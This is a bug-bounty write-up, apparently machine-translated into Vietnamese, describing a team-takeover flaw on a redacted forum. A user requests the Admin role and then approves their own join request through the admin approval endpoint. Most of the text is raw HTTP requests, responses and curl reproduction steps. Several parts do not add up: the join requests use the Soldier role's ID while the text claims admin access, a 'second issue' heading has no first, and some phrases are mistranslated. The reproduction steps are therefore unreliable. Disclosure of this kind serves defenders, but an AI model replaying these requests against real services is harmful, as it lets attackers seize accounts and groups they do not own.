Tiếp quản toàn đội

Jan 09 2023
Thỏ rừng Krishna! Tên tôi là Tuhin Bose (tuhin1729). Tôi hiện đang làm Tư vấn thiết kế CTF tại BugBase.

Thỏ rừng Krishna! Tên tôi là Tuhin Bose ( tuhin1729 ). Tôi hiện đang làm Tư vấn thiết kế CTF tại BugBase . Trong bài viết này, tôi sẽ chia sẻ một trong những phát hiện của mình cho phép tôi tiếp quản đội của bất kỳ ai.
Vì vậy, không lãng phí thời gian, hãy trực tiếp nhảy vào blog:

Giới thiệu:

Về cơ bản, mục tiêu là một diễn đàn nơi mọi người có thể tương tác với nhau, tạo nhóm với những người khác, v.v. Trong khi phân tích chức năng của nhóm, tôi nhận thấy các điểm sau:

  1. Người dùng có thể tạo một nhóm.
  2. Bất kỳ người dùng nào khác có thể gửi yêu cầu tham gia nhóm với bất kỳ vai trò nào sau đây: người lính, người quản lý và người hỗ trợ. Tuy nhiên, họ không thể gửi yêu cầu tham gia nhóm với tư cách quản trị viên . Mỗi vai trò có mức độ quan trọng khác nhau (số nguyên từ 1 đến 10) dựa trên các quyền mà họ được phép thực hiện trong nhóm. Ví dụ: vai trò người hỗ trợ có mức độ quan trọng 10 (đặc quyền thấp nhất) & vai trò quản trị viên có mức độ quan trọng 1 (đặc quyền cao nhất).
  3. Nếu quản trị viên của nhóm chấp thuận yêu cầu tham gia nhóm của bất kỳ người dùng nào, người đó sẽ là một phần của nhóm đó. Tuy nhiên, chỉ quản trị viên mới có quyền cho phép bất kỳ ai trong nhóm của họ.

Trong khi phân tích tất cả các yêu cầu HTTP trong bộ burp, tôi nhận thấy một yêu cầu chịu trách nhiệm tìm nạp tất cả các vai trò có sẵn:

POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com

{}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Vấn đề thứ hai - Phê duyệt yêu cầu tham gia nhóm thay mặt quản trị viên:

Bây giờ, ngay cả khi chúng tôi gửi yêu cầu tham gia nhóm của mình để trở thành quản trị viên của nhóm, quản trị viên thực sẽ không cho phép yêu cầu của chúng tôi vì anh ấy/cô ấy có thể thấy rõ vai trò mà chúng tôi đã đăng ký.
Khi tôi đăng nhập vào tài khoản quản trị viên và cố gắng phê duyệt yêu cầu tham gia nhóm, tôi nhận thấy yêu cầu HTTP sau:

POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}

B00M! Tôi đã tham gia nhóm với tư cách là quản trị viên. Bây giờ tôi có thể chỉnh sửa chi tiết nhóm, xem và phê duyệt/từ chối tất cả các yêu cầu tham gia nhóm khác.

Trong trường hợp, bạn quá lười để đọc những nội dung trên, đây là phiên bản ngắn hơn:

Các bước để sao chép:

  1. Nhận objectId của vai trò Quản trị viên:
  2. tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":true}